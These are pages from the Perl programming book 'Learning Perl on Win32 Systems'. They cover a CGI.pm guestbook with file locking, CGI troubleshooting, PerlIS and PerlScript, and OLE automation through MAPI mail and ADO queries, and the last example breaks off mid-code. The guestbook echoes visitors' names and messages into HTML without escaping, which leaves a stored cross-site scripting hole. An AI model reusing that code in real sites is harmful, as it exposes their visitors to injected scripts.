18.3 Simplest CGI Program | Book Index | 18.5 Creating a Guestbook Program


[Chapter 18] 18.5 Creating a Guestbook Program

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 18.4 Passing Parameters via CGI Chapter 18
CGI Programming 		Next: 18.6 Troubleshooting CGI Programs

18.5 Creating a Guestbook Program

If you have followed the examples above, you can now get some simple CGI programs going. But what about harder ones? A common request is to create a CGI program to manage a guestbook, so that visitors to your web site can record their own messages.[9]

[9] As we will note later on, this application might also be called a webchat program.

Actually, the form for this kind of thing is quite easy - easier in fact than some of our ice cream forms. Other matters get trickier. But don't worry, we'll explain everything as we go.

You probably want guestbook messages to survive a user's visit to your site, so you need a file to store them in. The CGI program (probably) runs under a different user, not as you; therefore, it won't normally have permission to update a file of yours. So, first, create a file (make sure it has read-write permissions for whatever user your program runs as). You can either use a text editor to create an empty file, or do something like:

> echo. > c:\temp\chatfile

Okay, but how will you accommodate several folks using the guestbook program simultaneously? The operating system doesn't block simultaneous access to files, so if you're not careful, you could get a jumbled file as everyone writes to it at the same time. To avoid this, we'll use Perl's flock function to request exclusive access to the file we're going to update. It will look something like this:

# Perl 5.004
use Fcntl qw(:flock); # imports LOCK_EX, LOCK_SH, LOCK_NB
....
flock(CHANDLE, LOCK_EX) || bail("cannot flock $CHATNAME: $!");

# ActiveState distribution
$LOCK_EX = 2; # hard coded value of standard LOCK_EX
....
flock(CHANDLE, $LOCK_EX) || bail("cannot flock $CHATNAME: $!");

The LOCK_EX argument to flock is what buys us exclusive file access.[10] bail is a subroutine that prints an error message back to the browser and then calls die.

[10] With Perl versions prior to the 5.004 release, you must comment out the use Fcntl and just use 2 as the argument to flock.

flock presents a simple but uniform locking mechanism even though its underlying implementation varies wildly between systems. It reliably blocks, not returning until it gets the lock. Note that file locks are purely advisory; they only work when all processes accessing a file honor the locks in the same way. If three processes honor them, but another doesn't, all bets are off.

18.5.1 Object-Oriented Programming in Perl

Finally, and most importantly, you must learn how to use objects and classes. Although building your own object module is beyond the scope of this book, you don't have to know about that in order to use existing, object-oriented library modules. For in-depth information about using and creating object modules, see Chapter 5 of Programming Perl and the perltoot documentation (Perl 5.004 distribution and beyond).

We won't go into the theory behind objects here, but you can just treat them as packages (which they are!) of wonderful and marvelous things that you invoke indirectly. Objects provide subroutines that do anything you need to do with the object.

For instance, suppose the CGI.pm module returns an object called $query that represents the user's input. If you want to get a parameter from the query, invoke the param() subroutine like this:

$query->param("answer");

This says, "Run the param() subroutine on the $query object, with answer as an argument." It's just like invoking any other subroutine, except that you employ the name of the object followed by the -> syntax. Subroutines associated with objects, by the way, are called methods.

If you want to retrieve the return value of the param() subroutine, just use the usual assignment statement and store the value in a regular old variable named $he_said:

$he_said = $query->param("answer");

Objects look like scalars; you store them in scalar variables (like $query in our example), and you can make arrays or hashes of objects. But you don't treat them as you would strings or numbers. They're actually a particular kind of reference,[11] but you don't even treat them as you would ordinary references. Instead, you treat them like a special, user-defined type of data.

[11] A blessed reference, to be precise.

The type of a particular object is known as its class. The class name is normally just the module name - without the .pm suffix - and often the words class and module are used interchangeably. So we can speak of the CGI module and also the CGI class. Objects of a particular class are created and managed by the module implementing that class.

You access classes by loading in a module, which looks just like any other module except that object-oriented ones don't usually export anything. You can think of the class as a factory that cranks out brand-new objects. To get the class to produce one of these new objects, you invoke special methods called constructors. Here's an example:

$query = CGI->new(); # call method new() in class "CGI"

What you have there is the invocation of a class method. A class method looks just like an object method (which is what we were talking about a moment ago), except that instead of using an object to call the method, you use the name of the class as though it were itself an object. An object method is saying "call the function by this name that is related to this object"; a class method is saying "call the function by this name that is related to this class."

Sometimes you'll see that same thing written this way:

$query = new CGI; # same thing

The second form is identical in behavior to the first. It's got less punctuation, so is sometimes preferred. But it's less convenient to use as part of a larger expression, so we'll use the first form exclusively in this book.

From the standpoint of the designer of object modules, an object is a reference to a user-defined data structure, often an anonymous hash. Inside this structure is stored all manner of interesting information. But the well-behaved user of an object is expected to get at this information (to inspect or change it), not by treating the object as a reference and going straight for the data it points to, but by employing only the available object and class methods. Changing the object's data by other means amounts to hanky-panky that is bound to get you talked about. To learn what those methods are and how they work, just read the object module's documentation, usually included as embedded pods.

18.5.2 Objects in CGI.pm

The CGI module is unusual in that it can be treated either as a traditional module with exported functions or as an object module. Some kinds of programs are more easily written using the object interface to CGI.pm rather than the procedural one. A guestbook program is one of these. We access the input that the user supplied to the form via a CGI object, and we can, if we want, use this same object to generate new HTML code for sending back to the user.

First, however, we need to create the object explicitly. For CGI.pm, as for so many other classes, the method that generates objects is the class method named new().[12]

[12] Unlike C++, Perl doesn't consider new a keyword; you're perfectly free to have constructor methods called gimme_another() or fred(). But most classes end up naming their constructors new() anyway.

This method constructs and returns a new CGI object corresponding to a filled-out form. The object contains all the user's form input. Without arguments, new() builds the object by reading the data passed by the remote browser. With a filehandle as an argument, it reads the handle instead, expecting to find form input saved from previous communication with a browser.

We'll show you the program and explain its details in a moment. Let's assume that the program is named guestbook.plx and is in the cgi-bin directory. While this program does not look like one of the two-part scripts shown earlier (where one part outputs an HTML form, and the other part reads and responds to form input from a user), you will see that it nevertheless does handle both functions. So you do not need a separate HTML document containing a guestbook form. The user might first trigger our program simply by clicking on a link like this:

Please sign our
<A HREF="http://www.SOMEWHERE.com/cgi-bin/guestbook.plx">guestbook</A>.

The program then downloads an HTML form to the browser, and for good measure also downloads any previous guest messages (up to a stated limit) for the user to review. The user then fills out the form, submits it, and the program reads what is submitted. This information is added to the list of previous messages (saved in a file), which is then output to the browser again, along with a fresh form. The user can continue reading the current set of messages and submitting new messages via the supplied forms as long as he wishes.

Here's the program. You might want to scan it quickly before we step you through it.

use strict; # enforce declarations and quoting
use CGI qw(:standard); # import shortcuts

sub bail { # function to handle errors gracefully
    my $error = "@_";
    print h1("Unexpected Error"), p($error), end_html;
    die $error;
}

my(
   $CHATNAME,   # name of guestbook file
    $MAXSAVE,   # how many to keep
    $TITLE,     # page title and header
    $cur,       # new entry in the guestbook
    @entries,   # all cur entries
    $entry,     # one particular entry
    $LOCK_EX,   # hardcoded value for flock
);

$LOCK_EX = 2;   # hardcoded value for flock

$TITLE = "Simple Guestbook";
$CHATNAME = "c:/temp/chatfile"; # wherever makes sense on your system
$MAXSAVE = 10;
print header, start_html($TITLE), h1($TITLE);
$cur = CGI->new(); # current request
if ($cur->param("message")) { # good, we got a message
    $cur->param("date", scalar localtime); # current time
    @entries = ($cur); # save message to array
}

# open the file for read-write (preserving old contents)
open(CHANDLE, "+< $CHATNAME") ||
    bail("cannot open $CHATNAME: $!");
# get exclusive lock on the guestbook
# ($LOCK_EX == exclusive lock)
flock(CHANDLE, $LOCK_EX) || bail("cannot flock $CHATNAME: $!");

# grab up to $MAXSAVE old entries, newest first
while (!eof(CHANDLE) && @entries < $MAXSAVE) {
    # pass the filehandle by reference
    $entry = CGI->new(\*CHANDLE);
    push @entries, $entry;
}
seek(CHANDLE, 0, 0) || bail("cannot rewind $CHATNAME: $!");
foreach $entry (@entries) {
    $entry->save(\*CHANDLE); # pass the filehandle by reference
}
truncate(CHANDLE, tell(CHANDLE)) ||
    bail("cannot truncate $CHATNAME: $!");
close(CHANDLE) || bail("cannot close $CHATNAME: $!");

print hr, start_form; # hr() emits html horizontal rule: <HR>
print p("Name:", $cur->textfield(
    -NAME => "name"));
print p("Message:", $cur->textfield(
    -NAME => "message",
    -OVERRIDE => 1, # clears previous message
    -SIZE => 50));
print p(submit("send"), reset("clear"));
print end_form, hr;
print h2("Prior Messages");
foreach $entry (@entries) {
    printf("%s [%s]: %s",
    $entry->param("date"),
    $entry->param("name"),
    $entry->param("message"));
    print br();
}
print end_html;

Figure 18.5 shows a sample screen dump after running the program a few times.

Figure 18.5: Sample screen dump

Because every execution of the program results in the return of an HTML form to the particular browser that sought us out, the program begins by getting a start on the HTML code:

print header, start_html($TITLE), h1($TITLE);

The program then creates a new CGI object:

$cur = CGI->new(); # current request
if ($cur->param("message")) { # good, we got a message
    # set to the current time
    $cur->param("date", scalar localtime);
    @entries = ($cur); # save message to array
}

If we are being called via submission of a form, then the $cur object now contains information about the input text given to the form. The form we supply (as shown later) has two input fields: a name field for the name of the user, and a message field for the message. In addition, the code shown above puts a date stamp on the form data after it is received. Feeding the param() method two arguments is a way to set the parameter named in the first argument to the value given in the second argument.

If we are not being called via submission of a form, but rather because the user has clicked on "Please sign our guestbook," then the query object we create here will be empty. The if test will yield a false value, and no entry will be added to the @entries array.

In either case, we proceed to check for any entries previously saved in our savefile. We will read those into the @entries array. (Recall that we have just now made the current form input, if any, the first member of this array.) But, first, we have to open the savefile:

open(CHANDLE, "+< $CHATNAME") || bail("cannot open $CHATNAME: $!");

This opens the file in nondestructive read-write mode. Alternatively, we could have used sysopen().[13] This way a single call opens an old file (if it exists) without clobbering it, or else creates a new one (note the use of the permission bits again):

[13] For you C programmers, sysopen() is implemented in terms of open() rather than fopen().

# need to import two "constants" from Fcntl module for sysopen
use Fcntl qw( O_RDWR O_CREAT );
sysopen(CHANDLE, $CHATNAME, O_RDWR|O_CREAT, 0666)
     || bail "can't open $CHATNAME: $!";

Then we lock the file, as described earlier, and proceed to read up to a total of $MAXSAVE entries into @entries:

flock(CHANDLE, $LOCK_EX) || bail("cannot flock $CHATNAME: $!");
while (!eof(CHANDLE) && @entries < $MAXSAVE) {
    # pass the filehandle by reference
    $entry = CGI->new(\*CHANDLE);
    push @entries, $entry;
}

eof is a Perl built-in function that tells whether we have hit the end-of-file. By repeatedly passing the new() method a reference to the savefile's filehandle,[14] we retrieve the old entries - one entry per call. Then, we update the file so that it now includes the new entry we (may) have just received:

[14] Actually, this reference is a glob reference, not a filehandle reference, but it's close enough.

seek(CHANDLE, 0, 0) || bail("cannot rewind $CHATNAME: $!");
foreach $entry (@entries) {
    $entry->save(\*CHANDLE); # pass the filehandle by reference
}
truncate(CHANDLE, tell(CHANDLE)) ||
    bail("cannot truncate $CHATNAME: $!");
close(CHANDLE) || bail("cannot close $CHATNAME: $!");

seek, truncate, and tell are all built-in Perl functions whose descriptions you will find in any Perl reference work. Here seek repositions the file pointer to the beginning of the file, truncate truncates the indicated file to the specified length, and tell returns the current offset of the file pointer from the beginning of the file. The effect of these lines is to save only the most recent $MAXSAVE entries, beginning with the one just now received, in the savefile.

The save() method handles the actual writing of the entries. The method can be invoked here as $entry->save because $entry is a CGI object, created with CGI->new() as discussed above.

The format of a savefile entry looks like this, where the entry is terminated by = standing alone on a line:

NAME1=VALUE1
NAME2=VALUE2
NAME3=VALUE3
=

Now it's time to return a fresh form to the browser and its user. (This form will be, of course, the first form he is seeing if he has just clicked on "Please sign our guestbook.") First, consider some preliminaries:

print hr, start_form; # hr() emits html horizontal rule: <HR>

As already mentioned, CGI.pm allows us to use either straight function calls or method calls via a CGI object. Here, for basic HTML code, we've reverted to the simple function calls. But for generation of form input fields, we continue to employ object methods:

print p("Name:", $cur->textfield(
    -NAME => "name"));
print p("Message:", $cur->textfield(
     -NAME => "message",
     -OVERRIDE => 1, # clears previous message
     -SIZE => 50));
print p(submit("send"), reset("clear"));
print end_form, hr;

The textfield() method returns a text input field for a form. The first of the two invocations here generates HTML code for a text input field with the HTML attribute NAME="name", while the second one creates a field with the attribute NAME="message".

Widgets created by CGI.pm are by default sticky - they retain their values between calls. (This statement is true only during a single session with a form, beginning when the user clicks on "Please sign our guestbook.") Consequently, the NAME="name" field generated by the first textfield() above will have the value of the user's name if he already filled out and submitted the form at least once during this session. So the input field we are now creating will actually have these HTML attributes:

NAME="name" VALUE="Sam Smith"

The second invocation of textfield() is a different matter. We don't want the message field to contain the value of the old message. So the -OVERRIDE => 1 argument pair says, in effect, "throw out the previous value of this text field and restore the default value." The -SIZE => 50 argument pair of textfield() gives the size of the displayed input field in characters. Other optional argument pairs besides those shown include: -DEFAULT => 'initial value' and -MAXLENGTH => n, where n is the maximum number of input characters the field will accept.

Finally, we output for the user's delectation the current set of saved messages, including, of course, any he has just submitted:

print h2("Prior Messages");
foreach $entry (@entries) {
    printf("%s [%s]: %s",
    $entry->param("date"),
    $entry->param("name"),
    $entry->param("message"));
    print br();
}
print end_html;

As you will doubtless realize, the h2 function outputs a second-level HTML heading. For the rest, we simply iterate through the current list of saved entries (the same list we earlier wrote to the savefile), printing out date, name, and message from each one.

Users can sit with the guestbook form, continually typing messages and pressing the submit button. This method simulates an electronic bulletin-board system, letting users see each other's new messages each time they send off their own. When they do this, they call the same CGI program repeatedly, which means that the previous widget values are automatically retained between invocations. This result is particularly convenient when creating multistage forms, such as those used in so-called "shopping cart" applications.

Previous: 18.4 Passing Parameters via CGI | Learning Perl on Win32 Systems | Next: 18.6 Troubleshooting CGI Programs
18.4 Passing Parameters via CGI | Book Index | 18.6 Troubleshooting CGI Programs


[Chapter 18] 18.6 Troubleshooting CGI Programs

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 18.5 Creating a Guestbook Program Chapter 18
CGI Programming 		Next: 18.7 Perl and the Web: Beyond CGI Programming

18.6 Troubleshooting CGI Programs

CGI programs launched from a web server run under a fundamentally different environment than they do when invoked from the command line. While you should always verify that your CGI program runs properly from the command line,[15] this isn't enough to guarantee that your program will work when called from the web server.

[15] See the CGI.pm documentation for tips on command-line debugging.

You should get the CGI programming FAQ and a good book on CGI programming to help you in this. Some of these references are listed at the end of this chapter. Here's a brief list of the frequent problems that arise in CGI programming. Almost all of them trigger those annoyingly unhelpful 500 Server Error messages that you will soon come to know and hate.

  • If, when sending HTML to a browser, you forget the blank line between the HTTP header (that is, the Content-Type line) and the body, your program won't work. Remember to output a proper Content-Type line (and possibly other HTTP headers) plus a totally blank line before you do anything else.

  • The server needs to be able to read and execute the script, so you need to make sure that whatever user your script runs as (e.g., IUSR_MYSERVER under IIS) has read and execute rights to the script.

  • The directory where the script resides must have read and execute rights for the script user.

  • The script must be installed in the proper directory for your server configuration. For example, on some systems, the directory may be c:\inetpub\scripts.[16]

    [16] This directory is the default for IIS, Microsoft's Internet Information Server.

  • You need to have your script's filename end in a particular suffix, like .cgi or .plx, so that your web server knows that it needs to invoke the Perl interpreter on your script. Make sure that your script directory is not writable by FTP clients. We suggest using a suffix of .plx, and associating .plx with your Perl interpreter.

  • Your server configuration requires CGI execution specially enabled for the directory you put your CGI script in. Make sure both GET and POST are allowed.

  • Normally, the web server doesn't execute your script using your account. Make sure the files and directories accessed by the script are open to whatever user the script will run as; this might be the IUSR_INTERNET or anoynmous account, or whatever account you use on your system. You may need to pre-create such files and directories and give them appropriate permissions. Always be alert to the risks when you grant such access to files.

  • Always run your script under Perl's -w flag to get warnings. These warnings go to the web server error log, which contains any errors and warnings generated by your script. Learn the path to that logfile from your webmaster and check it for problems. See also the standard CGI::Carp module for how to handle errors better.

  • Make sure that the versions and paths to Perl and any libraries you use (like CGI.pm) are what you're expecting them to be over on the machine the web server is running on.

  • Enable autoflush on the STDOUT filehandle at the top of your script by setting the $| variable to a true value, like one. If you've used the FileHandle module or any of the IO modules (like IO::File, IO::Socket, and so on), then you can use the more mnemonically named autoflush() method on the filehandle instead:

         use FileHandle;
     STDOUT->autoflush(1);

  • Check the return value of every system call your program makes, and take appropriate action if the call fails.

Previous: 18.5 Creating a Guestbook Program | Learning Perl on Win32 Systems | Next: 18.7 Perl and the Web: Beyond CGI Programming
18.5 Creating a Guestbook Program | Book Index | 18.7 Perl and the Web: Beyond CGI Programming


[Chapter 18] 18.7 Perl and the Web: Beyond CGI Programming

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 18.6 Troubleshooting CGI Programs Chapter 18
CGI Programming 		Next: 18.8 Further Reading

18.7 Perl and the Web: Beyond CGI Programming

Perl is used for much more than CGI programming. Other uses include logfile analysis, cookie and password management, clickable images, and image manipulation. And this list is still just the tip of the iceberg.

18.7.1 Custom Publishing Systems

Commercial web publishing systems may make things easy, especially for nonprogrammers, but they just aren't infinitely flexible the way a real programming language is. Without source code, you're locked into someone else's design decisions: if something doesn't work quite the way you want it to, you can't fix it. No matter how many whiz-bang programs become available for the consumer to purchase, a programmer will always be needed for those special jobs that don't quite fit the mold. And, of course, someone has to write the publishing software in the first place.

Perl is great for creating custom publishing systems tailored to your unique needs. You can easily convert raw data into zillions of HTML pages en masse. Sites all over the web use Perl to generate and maintain their entire web site. The Perl Journal (www.tpj.com) uses Perl to generate its pages. The Perl Language Home Page (www.perl.com) has nearly ten thousand web pages automatically maintained and updated by various Perl programs.

18.7.2 PerlIS and PerlScript

Each time a user invokes a CGI program or script, the web server needs to create a new instance of that program. While this is a reliable, proven way of doing things, there are more efficient ways to generate dynamic content. ActiveState provides for their distribution of Perl for Win32 two excellent alternatives. One is PerlIS, which enables Perl to be run as an ISAPI extension under an ISAPI compliant webserver (more on this shortly). Another is PerlScript, which is an ActiveX scripting version of Perl that can be used to generate Active Server Pages with a compatible web server (such as Microsoft's IIS or O'Reilly's Website Professional 2.0).

We said that PerlIS runs as an ISAPI extension. Accordingly, the web server loads Perl as part of its process when the web server starts. Each CGI request destined for the Perl interpreter is then run in-process with the web server as a separate thread. Consequently, the web server doesn't need to start a new instance of the Perl interpreter for each request; it merely creates a new thread and tells its copy of the Perl interpreter to handle the request from the new thread. This can provide significant performance benefits in situations where the server receives a high number of hits.

The current version of PerlIS (Build 306) has some instability when launching external processes and when creating socket connections. If you can't get something to work that you need, we suggest running your script as a CGI program using the standalone interpreter. Look for improved stability in future releases of PerlIS.

PerlScript can not only be used to generate Active Server Pages, but also as a client-side scripting language in the same manner as VBScript or JavaScript. For more information on PerlScript, see www.activestate.com. For more information on Active Server Pages, see the Microsoft ASP roadmap at www.microsoft.com/iis/usingiis/resources/ASPdocs/roadmap.asp, which provides a detailed overview of Active Server Pages and the automation objects that a server provides to PerlScript.

Previous: 18.6 Troubleshooting CGI Programs | Learning Perl on Win32 Systems | Next: 18.8 Further Reading
18.6 Troubleshooting CGI Programs | Book Index | 18.8 Further Reading


[Chapter 18] 18.8 Further Reading

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 18.7 Perl and the Web: Beyond CGI Programming Chapter 18
CGI Programming 		Next: 18.9 Exercises

18.8 Further Reading

There's quite a bit more to modules, references, objects, and web programming than we can possibly hope to cover in this one small chapter. A whole book could be written on CGI programming. In fact, dozens have been. For your continued research into these matters, check out the following reference list:

  • CGI.pm documentation

  • The LWP library from CPAN (runs under Windows NT with a few modifications - see the documentation for more information)

  • CGI Programming on the World Wide Web (Shishir Gundavaram, O'Reilly & Associates, 1996)

  • Web Client Programming with Perl (Clinton Wong, O'Reilly & Associates, 1997)

  • HTML: The Definitive Guide, Second Edition (Chuck Musciano & Bill Kennedy, O'Reilly & Associates, 1997)

  • How to Set Up and Maintain a Web Site, Second Edition (Lincoln D. Stein, Addison-Wesley, 1996)

  • Nick Kew's CGI FAQ

  • Perl documentation: perltoot, perlref, perlmod, perlobj

Previous: 18.7 Perl and the Web: Beyond CGI Programming | Learning Perl on Win32 Systems | Next: 18.9 Exercises
18.7 Perl and the Web: Beyond CGI Programming | Book Index | 18.9 Exercises


[Chapter 18] 18.9 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 18.8 Further Reading Chapter 18
CGI Programming 		Next: 19. OLE Automation

18.9 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a form that provides two input fields that are added together when the user submits it.

  2. Write a CGI script that detects the browser type making the request, and then prints something appropriate (hint: look at the HTTP_USER_AGENT environment variable).

Previous: 18.8 Further Reading | Learning Perl on Win32 Systems | Next: 19. OLE Automation
18.8 Further Reading | Book Index | 19. OLE Automation


[Chapter 19] OLE Automation

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 18.9 Exercises Chapter 19 Next: 19.2 Creating Automation Objects

19. OLE Automation

Contents:
Introduction to OLE Automation
Creating Automation Objects
Using Automation Objects
Variants
Tips and Techniques
Exercises

19.1 Introduction to OLE Automation

OLE Automation is a method for a client program to control an OLE server. Microsoft designed automation to be a solution for the problem of cross-application macro programming. Because there seemed to be little chance of convincing users to use a single language, the best solution was to make a way for any language to access the capabilities that an application chose to offer.

Automation objects provide two types of interactivity: properties and methods. Properties are values that you can get and set.[1] Methods are functions that can be called with (optional) parameters and (optionally) provide a return value, possibly even another automation object. PerlScript also provides support for OLE events, which are a type of handler that get invoked when certain things happen, such as when the user clicks on a button in a browser. However, we will limit our discussion to automation and to properties and methods.

[1] Although, it is possible to have read only properties.

Perl implements support for automation objects in the same way as for any other Perl object. Object methods can be called using the pointer arrow:

$obj->some_func();  # call some_func() method of $obj

Properties are stored in a hash, and can also be accessed through the pointer arrow:

$obj->{foo} = "Some String";   # set foo to Some String
$val = $obj->{foo};            # get the value of foo

Notice that we normally don't need to enclose the property name in quotes. If you're getting a property value, you can also use a short form:

$val = $obj->foo;              # get the value of foo
$obj->foo = $val;              # WRONG, set requires {foo}

Now, we know that we can control our favorite automation servers from Perl. But how do we know what methods, properties, and objects a server exposes? The answer, unfortunately, it that these things are completely server dependent. No standards for object names, methods, or properties exist. The best solution is to turn to your server's documentation for answers. If the server doesn't provide documentation, your situation is still not completely hopeless. If the automation server provides typelib information (an OLE mechanism to describe the interfaces that an OLE server provides), you can use an OLE object viewer (such as Microsoft's OLE2VW32.EXE) that can read OLE typelib information and try to figure out what methods and properties the object exposes on your own.

Automation servers come in a couple of different flavors. There are local servers that live in an application (.exe file) and run as their own processes. There are in-proc servers that live in DLLs (dynamic-link libraries) and run in the process of the automation controller. There are also remote servers that may run on a different machine using Distributed COM (DCOM).

Perl for Win32 cannot currently use OCX controls, which require additional OLE support.

Previous: 18.9 Exercises | Learning Perl on Win32 Systems | Next: 19.2 Creating Automation Objects
18.9 Exercises | Book Index | 19.2 Creating Automation Objects


[Chapter 19] 19.2 Creating Automation Objects

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

19.2 Creating Automation Objects

Unfortunately, automation is one of the areas in which the ActiveState distribution differs slightly from the libwin32 OLE module for use with the standard Perl distribution. Both distributions use the CreateObject function to create an automation object, but the syntax (and module name) is slightly different:

# ActiveState distribution
use OLE;
$obj = CreateObject OLE "Excel.Application" ||
        die "CreateObject: $!";

# libwin32 Win32::OLE
use Win32::OLE;
Win32::OLE::CreateObject("Excel.Application", $obj) ||
        die "CreateObject: $!";

The ActiveState CreateObject takes two arguments: a class type (currently, always OLE), and a ProgID (program ID) string of the object to create. When an automation server is registered on the system, it stores a CLSID (class ID), which is a token that uniquely identifies an OLE object, and a ProgID that provides a human readable way to access the CLSID. Perl does the conversion internally, so you just need to provide the ProgID. A server generally has two types of ProgIDs: one is a version-independent ProgID that typically identifies the most current version of the server, the other is a version-specific ProgID that denotes a specific application version.

Here are some examples of ProgIDs that you might use:

Excel.Application (Microsoft Excel Application Object)
Excel.WorkSheet   (Microsoft Excel Worksheet Object)
Word.Document.8   (Microsoft Word Document Object, Ver 8)
Word.Basic.8      (Microsoft WordBasic Object, Ver 8)

You'll need to check the documentation for the automation server that you want to use in order to discover what its ProgID is.

CreateObject returns a reference to the automation object if it succeeds, and undef if it fails.

The libwin32 version of CreateObject uses Win32::OLE as the module name (this was done for conformity with the other Win32 extensions). CreateObject takes the same ProgID, and a scalar that will contain the automation object if the function returns successfully.

Throughout this chapter, we'll be using the ActiveState syntax for our automation examples.

Previous: 19.1 Introduction to OLE Automation | Learning Perl on Win32 Systems | Next: 19.3 Using Automation Objects
19.1 Introduction to OLE Automation | Book Index | 19.3 Using Automation Objects


[Chapter 19] 19.3 Using Automation Objects

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

19.3 Using Automation Objects

In this section, we're going to explore automation objects by building a simple progam that sends a message using Microsoft's Active Messaging Library. If you don't have Active Messaging (if you have MAPI, you probably have it) on your system, you can still follow the concepts, which are generally applicable to using automation. Remember, though, that the specific methods, properties, and objects that a server exposes are specific to that server. To learn more about Active Messaging, try the Microsoft MSDN[2] web site at www.microsoft.com/msdn/sdk/ and look for the for Active Messaging Library documentation. The Active Message Library is a complex API that provides complete services for messaging, message stores, providers, transports, and more; but we're just going to touch on the basics of sending a message here.

[2] Microsort Developer Network - you might also have it on CD, if you're a Win32 programmer and subscribe to MSDN.

The first thing we need to do is to create a Active Messaging session. This happens to be the top-level automation object for our purposes, so we'll start here with CreateObject:

use OLE;
$ActiveSession = CreateObject OLE "MAPI.Session" ||
        die "CreateObject: $!";

The ProgID for the Active Messaging Session object is MAPI.Session, so that's the argument that we give to CreateObject. After we have an Active Messaging session, we need to logon. Active Messaging provides a couple of options for doing this. If you don't supply a valid username/password combination, you'll get a logon dialog that lets you supply a user and password:

$LogonName = "Erik Olson";
$LogonPasswd = undef; # use stored one, or prompt
die "Logon: $!" if $ActiveSession->Logon($LogonName,
        $LogonPasswd); # Logon returns 0 on success

Here, we're calling the Logon method of the Active Messaging Session object. Because Logon returns 0 on success, we are only dying if we get a return value (indicating an error code). If we successfully logon to the Active Messsaging session, we're ready to create a Message object. A message object is another automation object that (appropriately enough) encapsulates a message. For example:

$Message = $ActiveSession->Outbox->Messages->Add();

Now, things are starting to get interesting. We're using the $ActiveSession object to call a method named Outbox that returns an automation object (the Outbox object). We're then calling a method of the Outbox object called Messages that returns another automation object (the Message object). We're then calling a method of the Message object named Add that returns yet another automation object, which we're assiging to our $Message variable. Perl lets you merrily create as many nested automation objects as you need.

Now that we have a Message object, we can start doing things with the message. First, we need to add a recipient. This involves another nested automation-object call:

$Recipient = $Message->Recipients->Add();

Here we're calling the Recipients method of the message object that returns a recipients object. We then call the Add method of the recipients object to get a Recipient object that we can use. Let's set some properties of the recipient object:

$Recipient->{Name} = "Erik Olson"; # to address
$Recipient->{Type} = 1; # ugly constant, means this is a To address

We've set the Name property of the Recipient object by setting the property using the object's hash. As for that assignment to the Type property, we've set it to 1, which is the Active Messaging value for a TO recipient (as opposed to a CC or BCC recipient). Table 19.1 displays the values for the recipient types.

Table 19.1: Recipient Type Values
Recipient Type | Value
MAPI_ORIG (recipient is message originator) | 0
MAPI_TO (recipient is a primary recipient) | 1
MAPI_CC (recipient is a copy recipient) | 2
MAPI_BCC (recipient is a blind copy recipient) | 3

After setting the recipient information, we need to resolve it to a name in the Active Messaging address book. We do this by calling the Resolve member of the Recipient object:

$Recipient->Resolve();

Now that we know where our message is going, let's add some data to it. We need at least a subject and a body, both of which are properties of the Message object.

$Message->{Subject} = "A Message From Perl";
$Message->{text} = "Perl does automation!";

All that remains is to save the message, send it, and terminate our session:

$Message->Update();
$Message->Send(1, 0, 0);
$Message->Logoff();

We call the Update method of the message object to save it, then the Send method to actually send the message. The parameters to Send are shown in Table 19.2.

Table 19.2: Send Parameters
Parameter | Meaning
saveCopy | Save a copy of the message in the Sent-Items folder (one or zero)
showDialog | Display a send-message dialog where the user can change the message contents or recipients (1 or 0)
parentWindow | Parent-window handle for the dialog, if showDialog is true; in Perl, you'll normally be passing this as 0

Let's put everything together:

use OLE;
$LogonName = "Erik Olson";         # send message to me
$LogonPasswd = undef;              # use stored passwd
$ActiveSession = CreateObject OLE "MAPI.Session" ||
        die "CreateObject: $!";    # create session
die "Logon: $!" if $ActiveSession->Logon($LogonName,
        $LogonPasswd);             # logon (returns 0 on success)
$Message = $ActiveSession->Outbox->Messages->Add();
$Recipient = $Message->Recipients->Add();
$Recipient->{Name} = "Erik Olson"; # to address
                            # ugly constant, means this is a To address
$Recipient->{Type} = 1;
$Recipient->Resolve();             # resolve name - hope it's there
$Message->{Subject} = "A Message From Perl";
$Message->{text} = "Perl does automation!";
$Message->Update();                # save it
$Message->Send(1, 0, 0);           # send it - don't show UI
$ActiveSession->Logoff();          # end session

19.3.1 Data-Access Objects

If you are a Perl programmer looking for a database solution, you owe it to yourself to check out Microsoft's ActiveX Data Objects (ADO), which provide an automation interface to database access. ADO is a powerful data-access layer that you can use from Perl, PerlIS, or PerlScript. This layer is particularly interesting in conjunction with Active Server pages and PerlScript. See www.microsoft.com/ADO/ for more information on ADO. The ActiveState site (www.activestate.com) has several samples using PerlScript and ADO for database access.

Just to tempt you, here's a quick example that uses the sample database shipped with the OLEDB SDK (OLE Database Software Development Kit), with which ADO is included. For more information on the OLEDB SDK, see www.microsoft.com/oledb. The sample database contains a table called Employees, which includes the fields LastName, FirstName, and EmployeeID. The following program just opens the data source (you have to have an ODBC driver installed for Microsoft Access database files) and lists all the rows in the Employees table. Regardless of which data source you choose to use ADO with, you'll find the procedure to be similiar.

use OLE;
$conn = CreateObject OLE "ADODB.Connection" ||
        die "CreateObject: $!";    # create ADO auto object
$conn->Open('OLE_DB_NWind_Jet');   # connect to data source
$sql = "SELECT * FROM Employees ORDER BY LastName, FirstName";
$rs = $conn->Execute($sql);        # grab all records in table
while(!$rs->EOF()) {
    $lastname = $rs->Fields('LastName')->Value;
    $firstname = $rs->Fields('FirstName')->Value;
    $empid = $rs->Fields('EmployeeId')->Value;
    write;                         # print them out
    $rs->MoveNext();
}

$rs->Close();                      # shut down the recordset
$conn->Close();                    # close the data source
# some formats for a quick printout
format STDOUT =
@<<<<<      @<<<<<<<<<<<<<<<<<<<   @<<<<<<<<<<<<<<<<<<<<<<<<
$empid,     $firstname,            $lastname
.
format STDOUT_TOP =
Page @<<
$%
ID          First                  Last
=====       ====================   =========================
.

Our first task is to create the automation object using the now familiar CreateObject function. We then use the ADO Connection object to execute a SQL statement. The Execute function returns a Recordset object, which we then use to iterate through all the rows, printing out the data.

Here's another quick program that inserts an employee into the Employees table:

use OLE;
$firstname = "Homer";             # hardcode some values to insert
$lastname = "Simpson";
$empid = "3001";
$conn = CreateObject OLE "ADODB.Connection" ||
        die "CreateObject: $!";   # create the ADO object
